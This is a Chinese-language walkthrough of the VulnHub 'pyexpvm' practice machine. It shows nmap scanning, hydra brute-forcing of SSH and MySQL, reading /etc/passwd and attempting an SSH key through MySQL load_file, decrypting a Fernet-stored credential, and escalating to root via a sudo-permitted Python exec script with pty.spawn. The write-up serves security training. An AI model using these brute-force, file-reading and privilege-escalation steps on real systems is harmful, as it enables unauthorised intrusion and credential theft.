打靶记录17——pyexpvm
注意：
使用 VM Ware 打开靶机，不要使用 VirtualBox 打开，因为作者设计的就是使用 VM ware 的
靶机（中等难度）：
https://download.vulnhub.com/pyexp/pyexpvm.zip
目标：
- 取得 root 权限 + 2 Flag
攻击方法：
- 主机发现
- 端口扫描
- 信息收集
- SSH 密码爆破
- Mysql 密码爆破
- Mysql 执行代码
- 编写解密代码
- sudo 权限漏洞
- Python 函数
- 本地提权
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.0.102 发现没有 Web 服务端口
nmap -p1337,3306 -sV -sC 192.168.0.102
发现 SSH 服务工作在 1337 端口上，不是常规的 22 端口
searchsploit ssh 7.9 和 searchsploit mysql 5.5.5 查找已知的漏洞利用代码，发现没有可用的，mysql 那个得具体到 5.5.51 这个小版本才行
SSH 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.41:1337 爆破 SSH ，但是最后跑完了字典也没成功
因为我的网络环境改变，所以 IP 变了
Mysql 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.0.102
破解成功，root 账号的密码 prettywoman ，意思是漂亮小姐姐
mysql -u root -h 192.168.0.102 -p或者mysql -u root -h 192.168.0.102 --skip-ssl -p 输入密码之后直接登录成功
通过 \! id 来尝试获取操作系统的指令失败
尝试 select do_system('id'); 也失败，靶机没有这个函数
select load_file('/etc/passwd'); 用系统函数读取系统文件成功
发现一个 lucy 账号：lucy:x:1000:1000:lucy,,,:/home/lucy:/bin/bash ，那可以尝试用 lucy 账号进行 SSH 暴力破解，但是失败了
那我们就继续读取文件呗，select load_file('/etc/alternatives/my.cnf');
- 在Linux系统中，/etc/alternatives/my.cnf 是一个符号链接文件，它通常链接到 MySQL 配置文件 my.cnf
但是里面没有有价值的信息，但是它包含了其他文件的路径，里面也没有其他有价值的信息
select load_file('/home/lucy/.ssh/id_rsa'); 查看 SSH 秘钥是空的
继续信息收集，查看数据库，发现 data 数据库里面有一个 fernet 表，表里有两个字段 cred(身份认证信息) 和 keyy(秘钥)
cred:
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy:
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
根据表名使用百度大法得知是 fernet 算法，Python 有一个库 cryptography
cryptography · PyPI 发现利用代码
>>> from cryptography.fernet import Fernet
>>> # Put this somewhere safe!
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"A really secret message. Not for prying eyes.")
>>> token
b'...'
>>> f.decrypt(token)
b'A really secret message. Not for prying eyes.'
参照官方代码运行一下
发现生成的 key 和 Mysql数据库里面截获的 key 长度，位数是一样的
对比生成的密文也是相似的
那我们最后再使用代码中的 f.decrypt(token) 来尝试解密试试
重新强制给 key 和 token 赋值，然后使用 f.decrypt(token) 来解密，成功获取明文 b'lucy:wJ9"Lemdv9[FEw-'`
那么尝试 SSH 登录 lucy 账号
ssh lucy@192.168.31.41 -p 1337 运气不错，成功登录，并且获得第一个 flag
提权
内核漏洞提权，但是是失败的
lucy@pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
cat .bash_history 有发现，他执行了一些命令
- .bash_history是一个隐藏文件，存储了用户在交互式bash终端中执行过的命令历史记录。每次用户在终端中执行一个命令，该命令就会被追加到.bash_history文件中。
sudo -l 发现 lucy 她可以以 root 的身份，不需要密码执行命令 /usr/bin/python2 /opt/exp.py
直接执行看不出是什么功能的
ls -l /opt/exp.py 发现我们有读的
lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
help('exec')发现 exec 函数可以动态的执行 python 代码
既然这样，那我们使用经典的 import pty;pty.spawn('/bin/bash') 提权成功，成为 root 账户，获得第2个 flag
ip a 确实是在目标靶机上，打靶结束！
